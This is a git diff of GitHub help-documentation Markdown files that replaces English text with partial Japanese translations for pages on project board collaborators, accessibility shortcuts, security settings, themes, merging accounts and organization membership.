--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your user account's project boards
-intro: 'As a project board owner, you can add or remove a collaborator and customize their permissions to a project board.'
+title: ユーザ アカウントのプロジェクトボードに対するアクセスを管理する
+intro: プロジェクトボードのオーナーは、コラボレーターを追加または削除して、そのプロジェクトボードに対する権限をカスタマイズすることができます。
 redirect_from:
   - /articles/managing-project-boards-in-your-repository-or-organization
   - /articles/managing-access-to-your-user-account-s-project-boards
@@ -16,21 +16,20 @@ topics:
   - Accounts
 shortTitle: Manage access project boards
 ---
-A collaborator is a person who has permissions to a project board you own. A collaborator's permissions will default to read access. For more information, see "[Permission levels for user-owned project boards](/articles/permission-levels-for-user-owned-project-boards)."
 
-## Inviting collaborators to a user-owned project board
+コラボレーターは、あなたが所有しているプロジェクトボードにアクセスを許可されているユーザです。 コラボレーターの権限は、デフォルトでは読み取りアクセスになります。 詳細は「[ユーザ所有のプロジェクトボードの権限レベル](/articles/permission-levels-for-user-owned-project-boards)」を参照してください。
 
-1. Navigate to the project board where you want to add an collaborator.
+## ユーザ所有のプロジェクトボードにコラボレーターを招待する
+
+1. アプリケーションを追加したいプロジェクトボードに移動します。
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
 {% data reusables.project-management.collaborator-option %}
-5. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email.
-   ![The Collaborators section with the Octocat's username entered in the search field](/assets/images/help/projects/org-project-collaborators-find-name.png)
+5. [Search by username, full name or email address] で、コラボレーターの名前、ユーザ名、または {% data variables.product.prodname_dotcom %} メールを入力します。 ![Octocat のユーザ名が検索フィールドに入力されているコラボレーターセクション](/assets/images/help/projects/org-project-collaborators-find-name.png)
 {% data reusables.project-management.add-collaborator %}
-7. The new collaborator has read permissions by default. Optionally, next to the new collaborator's name, use the drop-down menu and choose a different permission level.
-  ![The Collaborators section with the Permissions drop-down menu selected](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
+7. 新しいコラボレーターは、デフォルトで読み取り権限を持ちます。 オプションで、新しいコラボレータの名前の隣にあるドロップダウン メニューを使って、権限レベルを変更することもできます。 ![[Collaborators] セクションで [Permissions] ドロップダウン メニューを選択](/assets/images/help/projects/user-project-collaborators-edit-permissions.png)
 
-## Removing a collaborator from a user-owned project board
+## ユーザ所有のプロジェクトボードからコラボレーターを削除する
 
 {% data reusables.project-management.click-menu %}
 {% data reusables.project-management.access-collaboration-settings %}
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
index b79c2b3be4..2c785e2076 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md
@@ -2,8 +2,6 @@
 title: Managing accessibility settings
 intro: 'You can disable character key shortcuts on {% data variables.product.prodname_dotcom %} in your accessibility settings.'
 versions:
-  fpt: '*'
-  ghes: '>=3.4'
   feature: keyboard-shortcut-accessibility-setting
 ---
 
@@ -11,12 +9,11 @@ versions:
 
 {% data variables.product.product_name %} includes a variety of keyboard shortcuts so that you can perform actions across the site without using your mouse to navigate. While shortcuts are useful to save time, they can sometimes make {% data variables.product.prodname_dotcom %} harder to use and less accessible.
 
-All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as `control` or `command`.
+All keyboard shortcuts are enabled by default on {% data variables.product.product_name %}, but you can choose to disable character key shortcuts in your accessibility settings. This setting does not affect keyboard shortcuts provided by your web browser or {% data variables.product.prodname_dotcom %} shortcuts that use a modifier key such as <kbd>Control</kbd> or <kbd>Command</kbd>.
 
 ## Managing character key shortcuts
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.accessibility_settings %}
-1. Select or deselect the **Enable character key shortcuts** checkbox. 
-   ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
-2. Click **Save**.
+1. Select or deselect the **Enable character key shortcuts** checkbox. ![Screenshot of the 'Enable character key shortcuts' checkbox](/assets/images/help/settings/disable-character-key-shortcuts.png)
+2. [**Save**] をクリックします。
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md
index 2d65e2b11b..d1c0f63d71 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security and analysis settings for your user account
-intro: 'You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}.'
+title: ユーザアカウントのセキュリティと分析設定を管理する
+intro: '{% data variables.product.prodname_dotcom %} 上のプロジェクトのコードをセキュリティ保護し分析する機能を管理できます。'
 versions:
   fpt: '*'
   ghec: '*'
@@ -10,15 +10,16 @@ topics:
 redirect_from:
   - /github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account
   - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
-shortTitle: Manage security & analysis
+shortTitle: セキュリティと分析の管理
 ---
-## About management of security and analysis settings
 
-{% data variables.product.prodname_dotcom %} can help secure your repositories. This topic tells you how you can manage the security and analysis features for all your existing or new repositories.
+## セキュリティおよび分析設定の管理について
 
-You can still manage the security and analysis features for individual repositories. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+{% data variables.product.prodname_dotcom %} を使用してリポジトリを保護できます。 このトピックでは、既存または新規のすべてのリポジトリのセキュリティおよび分析機能を管理する方法について説明します。
 
-You can also review the security log for all activity on your user account. For more information, see "[Reviewing your security log](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log)."
+個々のリポジトリのセキュリティおよび分析機能は引き続き管理できます。 詳しい情報については「[リポジトリのセキュリティ及び分析の設定の管理](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」を参照してください。
+
+You can also review the security log for all activity on your user account. 詳細は「[セキュリティログをレビューする](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log)」を参照してください。
 
 {% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
 
@@ -26,28 +27,28 @@ You can also review the security log for all activity on your user account. For
 
 For an overview of repository-level security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
 
-## Enabling or disabling features for existing repositories
+## 既存のリポジトリに対して機能を有効または無効にする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security-analysis %}
-3. Under "Configure security and analysis features", to the right of the feature, click **Disable all** or **Enable all**.
+3. [Configure security and analysis features] で、機能の右側にある [**Disable all**] または [**Enable**] をクリックします。
   {% ifversion ghes > 3.2 %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/settings/security-and-analysis-disable-or-enable-all.png){% else %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/settings/security-and-analysis-disable-or-enable-all.png){% endif %}
 6. Optionally, enable the feature by default for new repositories that you own.
   {% ifversion ghes > 3.2 %}!["Enable by default" option for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-by-default-in-modal.png){% else %}!["Enable by default" option for new repositories](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %}
-7. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories you own.
+7. すべてのリポジトリに対してこの機能を有効または無効にするには、[**Disable FEATURE**] または [**Enable FEATURE**] をクリックします。
   {% ifversion ghes > 3.2 %}![Button to disable or enable feature](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-dependency-graph.png){% else %}![Button to disable or enable feature](/assets/images/help/settings/security-and-analysis-enable-dependency-graph.png){% endif %}
 
 {% data reusables.security.displayed-information %}
 
-## Enabling or disabling features for new repositories
+## 既存のリポジトリに対して機能を有効または無効にする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security-analysis %}
 3. Under "Configure security and analysis features", to the right of the feature, enable or disable the feature by default for new repositories that you own.
   {% ifversion ghes > 3.2 %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% else %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
-- "[Managing vulnerabilities in your project's dependencies](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"
-- "[Keeping your dependencies updated automatically](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)"
+- [依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)
+- [プロジェクトの依存関係にある脆弱性を管理する](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)
+- [依存関係を自動的に更新する](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
index d8335fc89f..21a710c0d3 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md
@@ -1,5 +1,5 @@
 ---
-title: Managing your theme settings
+title: テーマ設定を管理する
 intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.'
 versions:
   fpt: '*'
@@ -14,7 +14,7 @@ redirect_from:
 shortTitle: Manage theme settings
 ---
 
-For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings.
+{% data variables.product.product_name %} を使用時期と使用方法を選択して柔軟性を高めるために、テーマ設定をして {% data variables.product.product_name %} の外観を変更できます。 You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings.
 
 You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks.
 
@@ -34,7 +34,7 @@ You may want to use a dark theme to reduce power consumption on certain devices,
 1. Under "Theme mode", select the drop-down menu, then click a theme preference.
 
    ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png)
-1. Click the theme you'd like to use.
+1. 使いたいテーマをクリックしてください。
     - If you chose a single theme, click a theme.
 
       {% ifversion fpt or ghes > 3.2 or ghae-issue-4618 or ghec %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png){% else %}![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme.png){% endif %}
@@ -54,6 +54,6 @@ You may want to use a dark theme to reduce power consumption on certain devices,
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
+- "[{% data variables.product.prodname_desktop %}用のテーマの設定方法](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)"
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
index baf34206bf..2fc6048e0a 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Merging multiple user accounts
-intro: 'If you have separate accounts for work and personal use, you can merge the accounts.'
+title: 複数のユーザアカウントをマージする
+intro: 業務用と個人用に別々のアカウントを持っている場合は、アカウントをマージできます。
 redirect_from:
   - /articles/can-i-merge-two-accounts
   - /articles/keeping-work-and-personal-repositories-separate
@@ -14,9 +14,10 @@ topics:
   - Accounts
 shortTitle: Merge multiple user accounts
 ---
+
 {% tip %}
 
-**Tip:** We recommend using only one user account to manage both personal and professional repositories.
+**ヒント:** 個人用リポジトリ、業務用リポジトリの両方を 1 つのユーザ アカウントで管理するようお勧めします。
 
 {% endtip %}
 
@@ -26,11 +27,11 @@ shortTitle: Merge multiple user accounts
 
 {% endwarning %}
 
-1. [Transfer any repositories](/articles/how-to-transfer-a-repository) from the account you want to delete to the account you want to keep. Issues, pull requests, and wikis are transferred as well. Verify the repositories exist on the account you want to keep.
-2. [Update the remote URLs](/github/getting-started-with-github/managing-remote-repositories) in any local clones of the repositories that were moved.
-3. [Delete the account](/articles/deleting-your-user-account) you no longer want to use.
-4. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. For more information, see "[Why are my contributions not showing up on my profile?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
+1. 削除するアカウントから、残しておくアカウントに[リポジトリを委譲](/articles/how-to-transfer-a-repository)します。 Issue、プルリクエスト、ウィキも移譲されます。 リポジトリが、残しておくアカウントに存在することを確認します。
+2. 移動したリポジトリにクローンがある場合は、その[リモート URL を更新](/github/getting-started-with-github/managing-remote-repositories) します。
+3. 使わなくなる[アカウントを削除](/articles/deleting-your-user-account)します。
+4. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. 詳細は「[コントリビューションがプロフィールに表示されないのはなぜですか？](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- 「[{% data variables.product.prodname_dotcom %}アカウントの種類](/articles/types-of-github-accounts)」
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
index 9ddfa22251..6aec88d825 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md
@@ -41,7 +41,7 @@ Organization への参加の招待を受諾すると、Organization のオーナ
 
 {% ifversion fpt or ghec %}
 
-Organization が Enterprise アカウントに属している場合、あなたは自動的に Enterprise アカウントのメンバーになっており、Enterprise アカウントのオーナーから見えます。 詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
+Organization が Enterprise アカウントに属している場合、あなたは自動的に Enterprise アカウントのメンバーになっており、Enterprise アカウントのオーナーから見えます。 For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% endif %}
 
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
index 06aab78e62..9d3bd8a0e7 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing an organization
-intro: 'To access an organization that you''re a member of, you must sign in to your personal user account.'
+title: Organization へのアクセス
+intro: 自分がメンバーになっている Organization にアクセスするには、個人ユーザアカウントにサインインしなければなりません。
 redirect_from:
   - /articles/error-cannot-log-in-that-account-is-an-organization
   - /articles/cannot-log-in-that-account-is-an-organization
@@ -16,9 +16,10 @@ versions:
 topics:
   - Accounts
 ---
+
 {% tip %}
 
-**Tip:** Only organization owners can see and change the account settings for an organization.
+**ヒント:** Organization のオーナーだけが、Organization のアカウント設定を見て変更できます。
 
 {% endtip %}
 
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
index 0f06761832..43f72c12ca 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
@@ -1,6 +1,6 @@
 ---
-title: Publicizing or hiding organization membership
-intro: 'If you''d like to tell the world which organizations you belong to, you can display the avatars of the organizations on your profile.'
+title: Organization のメンバーシップを公開または非公開にする
+intro: 自分がどの Organization に属しているかを知らせたい場合は、Organization のアバターをプロフィールに表示することができます。
 redirect_from:
   - /articles/publicizing-or-concealing-organization-membership
   - /articles/publicizing-or-hiding-organization-membership
@@ -15,16 +15,15 @@ topics:
   - Accounts
 shortTitle: Show or hide membership
 ---
-![Profile organizations box](/assets/images/help/profile/profile_orgs_box.png)
 
-## Changing the visibility of your organization membership
+![[Profile organizations] ボックス](/assets/images/help/profile/profile_orgs_box.png)
+
+## Organization のメンバーシップの可視性を変更する
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Locate your username in the list of members. If the list is large, you can search for your username in the search box.
-![Organization member search box](/assets/images/help/organizations/member-search-box.png)
-5. In the menu to the right of your username, choose a new visibility option:
-    - To publicize your membership, choose **Public**.
-    - To hide your membership, choose **Private**.
-  ![Organization member visibility link](/assets/images/help/organizations/member-visibility-link.png)
+4. メンバーのリストで自分のユーザ名を探します。 リストが大きい場合は、検索ボックスでユーザ名を検索できます。 ![[Organization member search] ボックス](/assets/images/help/organizations/member-search-box.png)
+5. ユーザ名の右にあるメニューで、新しい可視性オプションを選択します:
+    - メンバーシップを公開する場合は [**Public**] を選択します。
+    - メンバーシップを非公開にする場合は [**Private**] を選択します。 ![Organization メンバーの可視性リンク](/assets/images/help/organizations/member-visibility-link.png)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
index c2db6f82ee..5a3c8e9e03 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from an organization
-intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
+title: Organization から自分を削除する
+intro: あなたは、ある Organization の外部コラボレーターまたはメンバーになっている場合、その Organization からいつでも離脱できます。
 redirect_from:
   - /articles/how-do-i-remove-myself-from-an-organization
   - /articles/removing-yourself-from-an-organization
@@ -15,13 +15,14 @@ topics:
   - Accounts
 shortTitle: Leave an organization
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method).
+**警告:** 現在 Organization で {% data variables.product.product_name %} の支払いを担当している場合、ご自身を Organization から削除しても、Organization のファイルの支払い情報は更新**されません**。 現在支払いを担当している場合は、Organization の別のコードオーナーまたは支払いマネージャーに、[Organization の支払い方法を更新](/articles/adding-or-editing-a-payment-method)してもらう**必要があります** 。
 
-For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)."
+詳細は「[Organization の所有権を移譲する](/articles/transferring-organization-ownership)」を参照してください。
 
 {% endwarning %}
 
@@ -29,5 +30,4 @@ For more information, see "[Transferring organization ownership](/articles/trans
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.organizations %}
-3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**.
-  ![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
+3. [Organizations] の下で、自分を削除する Organization を見つけ、[**Leave**] をクリックします。 ![ロールが表示され、その横に [Leave] ボタンがある](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
index 9571f2179e..41f06a0039 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Requesting organization approval for OAuth Apps
-intro: 'Organization members can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_app %}.'
+title: OAuth App に対する Organization の承認をリクエストする
+intro: 'Organization のメンバーは、オーナーが {% data variables.product.prodname_oauth_app %} に Organization リソースへのアクセスを許可するようリクエストできます。'
 redirect_from:
   - /articles/requesting-organization-approval-for-third-party-applications
   - /articles/requesting-organization-approval-for-your-authorized-applications
@@ -14,18 +14,16 @@ topics:
   - Accounts
 shortTitle: Request OAuth App approval
 ---
-## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
+
+## 個人アカウントではすでに許可されている {% data variables.product.prodname_oauth_app %} を Organization でも承認するようリクエストする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.access_applications %}
 {% data reusables.user_settings.access_authorized_oauth_apps %}
-3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
-![View application button](/assets/images/help/settings/settings-third-party-view-app.png)
-4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
-![Request access button](/assets/images/help/settings/settings-third-party-request-access.png)
-5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
-![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png)
+3. アプリケーションのリストで、アクセスを要求する {% data variables.product.prodname_oauth_app %} の名前をクリックします。 ![[View application] ボタン](/assets/images/help/settings/settings-third-party-view-app.png)
+4. {% data variables.product.prodname_oauth_app %} にアクセスさせる Organization の横で、[**Request access**] をクリックします。 ![[Request access] ボタン](/assets/images/help/settings/settings-third-party-request-access.png)
+5. {% data variables.product.prodname_oauth_app %} アクセスをリクエストすることに関する情報を読み、[**Request approval from owners**] をクリックします。 ![[Request approval] ボタン](/assets/images/help/settings/oauth-access-request-approval.png)
 
-## Further reading
+## 参考リンク
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- [{% data variables.product.prodname_oauth_app %}のアクセス制限について](/articles/about-oauth-app-access-restrictions)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
index 28c8a5dcf8..3b2793f0b8 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
@@ -1,7 +1,7 @@
 ---
-title: Viewing people's roles in an organization
-intro: 'You can view a list of the people in your organization and filter by their role. For more information on organization roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."'
-permissions: "Organization members can see people's roles in the organization."
+title: Organization の人のロールを表示する
+intro: 'Organization 内の人のリストを表示し、それらのロールでフィルタリングすることができます。 For more information on organization roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."'
+permissions: Organization members can see people's roles in the organization.
 redirect_from:
   - /articles/viewing-people-s-roles-in-an-organization
   - /articles/viewing-peoples-roles-in-an-organization
@@ -22,8 +22,7 @@ shortTitle: View people in an organization
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. You will see a list of the people in your organization. To filter the list by role, click **Role** and select the role you're searching for.
-  ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
+4. Organization 内の人のリストが表示されます。 ロールでリストをフィルタリングするには、[**Role**] をクリックします。 ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
 
 {% ifversion fpt %}
 
@@ -44,23 +43,22 @@ You can also view whether an enterprise owner has a specific role in the organiz
 
 {% endnote %}
 
-| **Enterprise role** | **Organization role** | **Organization access or impact** |
-|----|----|----|----|
-| Enterprise owner | Unaffililated or no official organization role | Cannot access organization content or repositories but manages enterprise settings and policies that impact your organization. |
-| Enterprise owner | Organization owner | Able to configure organization settings and manage access to the organization's resources through teams, etc. | 
-| Enterprise owner | Organization member | Able to access organization resources and content, such as repositories, without access to the organization's settings. |
+| **Enterprise role** | **Organization role**                          | **Organization access or impact**                                                                                              |
+| ------------------- | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
+| Enterprise オーナー     | Unaffililated or no official organization role | Cannot access organization content or repositories but manages enterprise settings and policies that impact your organization. |
+| Enterprise オーナー     | Organization owner                             | Able to configure organization settings and manage access to the organization's resources through teams, etc.                  |
+| Enterprise オーナー     | Organization member                            | Able to access organization resources and content, such as repositories, without access to the organization's settings.        |
 
 To review all roles in an organization, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." {% ifversion ghec %} An organization member can also have a custom role for a specific repository. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."{% endif %}
 
-For more information about the enterprise owner role, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)." 
+For more information about the enterprise owner role, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)."
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**.
-  ![Screenshot of "Enterprise owners" option in sidebar menu](/assets/images/help/organizations/enterprise-owners-sidebar.png)
+4. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**. ![Screenshot of "Enterprise owners" option in sidebar menu](/assets/images/help/organizations/enterprise-owners-sidebar.png)
 5. View the list of the enterprise owners for your enterprise. If the enterprise owner is also a member of your organization, you can see their role in the organization.
 
   ![Screenshot of list of Enterprise owners and their role in the organization](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png)
 
-{% endif %}
\ No newline at end of file
+{% endif %}
diff --git a/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
index 603f7c540d..f0aee747c1 100644
--- a/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
+++ b/translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
@@ -1,7 +1,7 @@
